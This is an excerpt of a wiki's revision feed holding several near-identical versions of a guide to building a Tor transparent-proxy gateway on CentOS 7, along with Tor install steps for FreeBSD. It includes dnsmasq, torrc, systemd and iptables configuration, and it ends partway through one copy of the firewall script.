		<updated>2015-08-18T05:03:34Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;For detailed instructions on setting up and using TOR as part of a transparent proxy, see [[TOR_Transparent_Proxy]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== FreeBSD Installation ==&lt;br /&gt;
&lt;br /&gt;
 cd /usr/ports/security/tor&lt;br /&gt;
 make config-recursive&lt;br /&gt;
 make install clean&lt;br /&gt;
 &lt;br /&gt;
 echo &#039;enable_tor=&amp;quot;YES&amp;quot;&#039; &amp;gt;&amp;gt; /etc/rc.conf&lt;br /&gt;
 vi /usr/local/etc/tor/torrc&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Put the following in your torrc file:&lt;br /&gt;
&lt;br /&gt;
 #&lt;br /&gt;
 # Refer to https://www.torproject.org/docs/tor-manual.html.en&lt;br /&gt;
 #&lt;br /&gt;
 &lt;br /&gt;
 # Listen on localhost, using the default port of 9051&lt;br /&gt;
 SocksPort 9051&lt;br /&gt;
 SocksListenAddress 127.0.0.1&lt;br /&gt;
 &lt;br /&gt;
 ORPort 9001&lt;br /&gt;
 &lt;br /&gt;
 # Do not be an exit node&lt;br /&gt;
 ExitPolicy reject *:* &lt;br /&gt;
 &lt;br /&gt;
 BandwidthRate 10 MB&lt;br /&gt;
 BandwidthBurst 100 MB&lt;br /&gt;
 &lt;br /&gt;
 RunAsDaemon 1&lt;br /&gt;
 &lt;br /&gt;
 ContactInfo tor@steamr.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To start tor, run&lt;br /&gt;
 /usr/local/etc/rc.d/tor start&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1224</id>
		<title>TOR Transparent Proxy</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1224"/>
		<updated>2015-08-18T05:02:45Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.&lt;br /&gt;
&lt;br /&gt;
The two networks will have the following configuration:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Description !! Interface !! Addresses&lt;br /&gt;
|-&lt;br /&gt;
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22&lt;br /&gt;
|-&lt;br /&gt;
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
This host will be the gateway for the internal TOR subnet.&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/. &lt;br /&gt;
&lt;br /&gt;
For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.&lt;br /&gt;
&lt;br /&gt;
Install dnsmasq. Optionally, install Apache for your internal website.&lt;br /&gt;
&lt;br /&gt;
Disable SELinux.&lt;br /&gt;
&lt;br /&gt;
Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:&lt;br /&gt;
 ip addr add 192.168.192.1/24 dev eno33554952&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
&lt;br /&gt;
Create the dnsmasq.conf file:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
listen-address=192.168.192.1&lt;br /&gt;
port=53&lt;br /&gt;
&lt;br /&gt;
strict-order&lt;br /&gt;
no-resolv&lt;br /&gt;
&lt;br /&gt;
# Remote DNS server (this should go to TOR&#039;s DNS service)&lt;br /&gt;
# This is set to 1.1.1.1 which is routed by IPTables to TOR&#039;s service.&lt;br /&gt;
# DNSMasq does not allow you to set this to an internal IP address.&lt;br /&gt;
server=1.1.1.1&lt;br /&gt;
&lt;br /&gt;
interface=eno33554952&lt;br /&gt;
address=/torified.wifi/192.168.192.1&lt;br /&gt;
&lt;br /&gt;
dhcp-script=/scripts/dnsmasq_dhcp&lt;br /&gt;
dhcp-range=192.168.192.20,192.168.192.250,2h&lt;br /&gt;
dhcp-option=1,255.255.255.0&lt;br /&gt;
dhcp-option=6,192.168.192.1&lt;br /&gt;
dhcp-option=3,192.168.192.1&lt;br /&gt;
&lt;br /&gt;
# This is the external (non TOR) network interface.&lt;br /&gt;
no-dhcp-interface=eno16777728&lt;br /&gt;
&lt;br /&gt;
domain=torified.wifi&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable dnsmasq&lt;br /&gt;
 systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the torrc file containing: (/etc/tor/torrc)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Log notice file /var/log/tor/notices.log&lt;br /&gt;
DataDirectory /var/lib/tor&lt;br /&gt;
VirtualAddrNetwork 10.192.0.0/10&lt;br /&gt;
&lt;br /&gt;
TransPort 9040&lt;br /&gt;
TransListenAddress 192.168.192.1&lt;br /&gt;
&lt;br /&gt;
DNSPort 5353&lt;br /&gt;
DNSListenAddress  192.168.192.1&lt;br /&gt;
AutomapHostsOnResolve 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description = Anonymizing overlay network for TCP&lt;br /&gt;
After = syslog.target network.target nss-lookup.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type = simple&lt;br /&gt;
User = _tor&lt;br /&gt;
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet&lt;br /&gt;
ExecReload = /bin/kill -HUP ${MAINPID}&lt;br /&gt;
ExecStop = /bin/kill -INT ${MAINPID}&lt;br /&gt;
TimeoutSec = 30&lt;br /&gt;
Restart = on-failure&lt;br /&gt;
LimitNOFILE = 4096&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy = multi-user.target&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable tor.service&lt;br /&gt;
 systemctl start tor.service&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the firewall configuration script (firewall.sh):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
IPT=/usr/sbin/iptables&lt;br /&gt;
TOR_UID=998&lt;br /&gt;
TOR_NET=192.168.192.0/24&lt;br /&gt;
TOR_IF=eno33554952&lt;br /&gt;
OUT_IF=eno16777728&lt;br /&gt;
&lt;br /&gt;
$IPT -F&lt;br /&gt;
$IPT -t nat -F&lt;br /&gt;
&lt;br /&gt;
# Connections cannot be forwarded from one network to another.&lt;br /&gt;
$IPT -A FORWARD -i $TOR_IF -j REJECT&lt;br /&gt;
&lt;br /&gt;
# Accept HTTP traffic for web service running on this host.&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service&lt;br /&gt;
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353&lt;br /&gt;
&lt;br /&gt;
# Client chain. Append clients who should have access to this chain.&lt;br /&gt;
$IPT -t nat -X tor_clients&lt;br /&gt;
$IPT -t nat -N tor_clients&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients&lt;br /&gt;
&lt;br /&gt;
# Allow all clients to connect.&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# Allow a specific client to connect.&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)&lt;br /&gt;
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.&lt;br /&gt;
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow web service&lt;br /&gt;
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow this talking to internal network&lt;br /&gt;
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow TOR&lt;br /&gt;
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -j LOG --log-prefix &amp;quot;drop: &amp;quot; --log-level 4&lt;br /&gt;
$IPT -A OUTPUT -j REJECT&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the firewall script above to set up IPTables.&lt;br /&gt;
&lt;br /&gt;
The TOR gateway should now be operational. &lt;br /&gt;
&lt;br /&gt;
Create a systemd service unit to execute the firewall script on startup. See [[Systemd]]&lt;br /&gt;
&lt;br /&gt;
/usr/lib/systemd/system/tor-firewall.service&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=TOR Firewall&lt;br /&gt;
After=network.target&lt;br /&gt;
ConditionFileIsExecutable=/scripts/firewall.sh&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type=oneshot&lt;br /&gt;
ExecStart=/scripts/firewall.sh&lt;br /&gt;
TimeoutSec=0&lt;br /&gt;
StandardOutput=tty&lt;br /&gt;
RemainAfterExit=yes&lt;br /&gt;
SysVStartPriority=99&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=multi-user.target&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Enable the service so that it is triggered on startup.&lt;br /&gt;
 systemctl enable tor-firewall&lt;br /&gt;
&lt;br /&gt;
== Optional Services ==&lt;br /&gt;
&lt;br /&gt;
You may want to set up a web portal to allow users to register in order to access the TOR network. Install apache and use the script in the wifi page.&lt;br /&gt;
&lt;br /&gt;
You can make DNSMasq execute a script whenever there is a change in the DHCP lease. This is useful to automatically remove hosts from having access to TOR after the lease expires.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 3 -a $# -ne 4 ] ; then&lt;br /&gt;
        echo &amp;quot;Usage: dnsmasq_dhcp &amp;lt;add|del&amp;gt; &amp;lt;mac&amp;gt; &amp;lt;ip&amp;gt; [hostname]&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
TOR_IF=&amp;quot;eno33554952&amp;quot;&lt;br /&gt;
Action=$1&lt;br /&gt;
IP=$3&lt;br /&gt;
&lt;br /&gt;
# We want to remove them when they lose their lease...&lt;br /&gt;
if [[ &amp;quot;$Action&amp;quot; = &amp;quot;del&amp;quot; ]] || [[ &amp;quot;$Action&amp;quot; = &amp;quot;old&amp;quot; ]] ; then&lt;br /&gt;
        /sbin/iptables -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
        /sbin/iptables -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 5353&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:TOR]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1223</id>
		<title>TOR Transparent Proxy</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1223"/>
		<updated>2015-08-17T08:13:41Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.&lt;br /&gt;
&lt;br /&gt;
The two networks will have the following configuration:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Description !! Interface !! Addresses&lt;br /&gt;
|-&lt;br /&gt;
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22&lt;br /&gt;
|-&lt;br /&gt;
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
This host will be the gateway for the internal TOR subnet.&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/. &lt;br /&gt;
&lt;br /&gt;
For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.&lt;br /&gt;
&lt;br /&gt;
Install dnsmasq. Optionally, install Apache for your internal website.&lt;br /&gt;
&lt;br /&gt;
Disable SELinux.&lt;br /&gt;
&lt;br /&gt;
Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:&lt;br /&gt;
 ip addr add 192.168.192.1/24 dev eno33554952&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
&lt;br /&gt;
Create the dnsmasq.conf file:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
listen-address=192.168.192.1&lt;br /&gt;
port=53&lt;br /&gt;
&lt;br /&gt;
strict-order&lt;br /&gt;
no-resolv&lt;br /&gt;
&lt;br /&gt;
# Remote DNS server (this should go to TOR&#039;s DNS service)&lt;br /&gt;
# This is set to 1.1.1.1 which is routed by IPTables to TOR&#039;s service.&lt;br /&gt;
# DNSMasq does not allow you to set this to an internal IP address.&lt;br /&gt;
server=1.1.1.1&lt;br /&gt;
&lt;br /&gt;
interface=eno33554952&lt;br /&gt;
address=/torified.wifi/192.168.192.1&lt;br /&gt;
&lt;br /&gt;
dhcp-script=/scripts/dnsmasq_dhcp&lt;br /&gt;
dhcp-range=192.168.192.20,192.168.192.250,2h&lt;br /&gt;
dhcp-option=1,255.255.255.0&lt;br /&gt;
dhcp-option=6,192.168.192.1&lt;br /&gt;
dhcp-option=3,192.168.192.1&lt;br /&gt;
&lt;br /&gt;
# This is the external (non TOR) network interface.&lt;br /&gt;
no-dhcp-interface=eno16777728&lt;br /&gt;
&lt;br /&gt;
domain=torified.wifi&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable dnsmasq&lt;br /&gt;
 systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the torrc file containing: (/etc/tor/torrc)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Log notice file /var/log/tor/notices.log&lt;br /&gt;
DataDirectory /var/lib/tor&lt;br /&gt;
VirtualAddrNetwork 10.192.0.0/10&lt;br /&gt;
&lt;br /&gt;
TransPort 9040&lt;br /&gt;
TransListenAddress 192.168.192.1&lt;br /&gt;
&lt;br /&gt;
DNSPort 5353&lt;br /&gt;
DNSListenAddress  192.168.192.1&lt;br /&gt;
AutomapHostsOnResolve 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description = Anonymizing overlay network for TCP&lt;br /&gt;
After = syslog.target network.target nss-lookup.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type = simple&lt;br /&gt;
User = _tor&lt;br /&gt;
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet&lt;br /&gt;
ExecReload = /bin/kill -HUP ${MAINPID}&lt;br /&gt;
ExecStop = /bin/kill -INT ${MAINPID}&lt;br /&gt;
TimeoutSec = 30&lt;br /&gt;
Restart = on-failure&lt;br /&gt;
LimitNOFILE = 4096&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy = multi-user.target&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable tor.service&lt;br /&gt;
 systemctl start tor.service&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the firewall configuration script (firewall.sh):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
IPT=/usr/sbin/iptables&lt;br /&gt;
TOR_UID=998&lt;br /&gt;
TOR_NET=192.168.192.0/24&lt;br /&gt;
TOR_IF=eno33554952&lt;br /&gt;
OUT_IF=eno16777728&lt;br /&gt;
&lt;br /&gt;
$IPT -F&lt;br /&gt;
$IPT -t nat -F&lt;br /&gt;
&lt;br /&gt;
# Connections cannot be forwarded from one network to another.&lt;br /&gt;
$IPT -A FORWARD -i $TOR_IF -j REJECT&lt;br /&gt;
&lt;br /&gt;
# Accept HTTP traffic for web service running on this host.&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service&lt;br /&gt;
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353&lt;br /&gt;
&lt;br /&gt;
# Client chain. Append clients who should have access to this chain.&lt;br /&gt;
$IPT -t nat -X tor_clients&lt;br /&gt;
$IPT -t nat -N tor_clients&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients&lt;br /&gt;
&lt;br /&gt;
# Allow all clients to connect.&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# Allow a specific client to connect.&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)&lt;br /&gt;
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.&lt;br /&gt;
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow web service&lt;br /&gt;
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow this talking to internal network&lt;br /&gt;
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow TOR&lt;br /&gt;
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -j LOG --log-prefix &amp;quot;drop: &amp;quot; --log-level 4&lt;br /&gt;
$IPT -A OUTPUT -j REJECT&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the firewall script above to set up IPTables.&lt;br /&gt;
&lt;br /&gt;
The TOR gateway should now be operational. &lt;br /&gt;
&lt;br /&gt;
Create a systemd service unit to execute the firewall script on startup. See [[Systemd]]&lt;br /&gt;
&lt;br /&gt;
== Optional Services ==&lt;br /&gt;
&lt;br /&gt;
You may want to set up a web portal to allow users to register in order to access the TOR network. Install apache and use the script in the wifi page.&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1222</id>
		<title>TOR Transparent Proxy</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1222"/>
		<updated>2015-08-17T08:09:53Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.&lt;br /&gt;
&lt;br /&gt;
The two networks will have the following configuration:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Description !! Interface !! Addresses&lt;br /&gt;
|-&lt;br /&gt;
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22&lt;br /&gt;
|-&lt;br /&gt;
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
This host will be the gateway for the internal TOR subnet.&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/. &lt;br /&gt;
&lt;br /&gt;
For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.&lt;br /&gt;
&lt;br /&gt;
Install dnsmasq. Optionally, install Apache for your internal website.&lt;br /&gt;
&lt;br /&gt;
Disable SELinux.&lt;br /&gt;
&lt;br /&gt;
Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:&lt;br /&gt;
 ip addr add 192.168.192.1/24 dev eno33554952&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
&lt;br /&gt;
Create the dnsmasq.conf file:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
listen-address=192.168.192.1&lt;br /&gt;
port=53&lt;br /&gt;
&lt;br /&gt;
strict-order&lt;br /&gt;
no-resolv&lt;br /&gt;
&lt;br /&gt;
# Remote DNS server (this should go to TOR&#039;s DNS service)&lt;br /&gt;
# This is set to 1.1.1.1 which is routed by IPTables to TOR&#039;s service.&lt;br /&gt;
# DNSMasq does not allow you to set this to an internal IP address.&lt;br /&gt;
server=1.1.1.1&lt;br /&gt;
&lt;br /&gt;
interface=eno33554952&lt;br /&gt;
address=/torified.wifi/192.168.192.1&lt;br /&gt;
&lt;br /&gt;
dhcp-script=/scripts/dnsmasq_dhcp&lt;br /&gt;
dhcp-range=192.168.192.20,192.168.192.250,2h&lt;br /&gt;
dhcp-option=1,255.255.255.0&lt;br /&gt;
dhcp-option=6,192.168.192.1&lt;br /&gt;
dhcp-option=3,192.168.192.1&lt;br /&gt;
&lt;br /&gt;
# This is the external (non TOR) network interface.&lt;br /&gt;
no-dhcp-interface=eno16777728&lt;br /&gt;
&lt;br /&gt;
domain=torified.wifi&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable dnsmasq&lt;br /&gt;
 systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the torrc file containing: (/etc/tor/torrc)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Log notice file /var/log/tor/notices.log&lt;br /&gt;
DataDirectory /var/lib/tor&lt;br /&gt;
VirtualAddrNetwork 10.192.0.0/10&lt;br /&gt;
&lt;br /&gt;
TransPort 9040&lt;br /&gt;
TransListenAddress 192.168.192.1&lt;br /&gt;
&lt;br /&gt;
DNSPort 5353&lt;br /&gt;
DNSListenAddress  192.168.192.1&lt;br /&gt;
AutomapHostsOnResolve 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description = Anonymizing overlay network for TCP&lt;br /&gt;
After = syslog.target network.target nss-lookup.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type = simple&lt;br /&gt;
User = _tor&lt;br /&gt;
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet&lt;br /&gt;
ExecReload = /bin/kill -HUP ${MAINPID}&lt;br /&gt;
ExecStop = /bin/kill -INT ${MAINPID}&lt;br /&gt;
TimeoutSec = 30&lt;br /&gt;
Restart = on-failure&lt;br /&gt;
LimitNOFILE = 4096&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy = multi-user.target&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable tor.service&lt;br /&gt;
 systemctl start tor.service&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the firewall configuration script (firewall.sh):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
IPT=/usr/sbin/iptables&lt;br /&gt;
TOR_UID=998&lt;br /&gt;
TOR_NET=192.168.192.0/24&lt;br /&gt;
TOR_IF=eno33554952&lt;br /&gt;
OUT_IF=eno16777728&lt;br /&gt;
&lt;br /&gt;
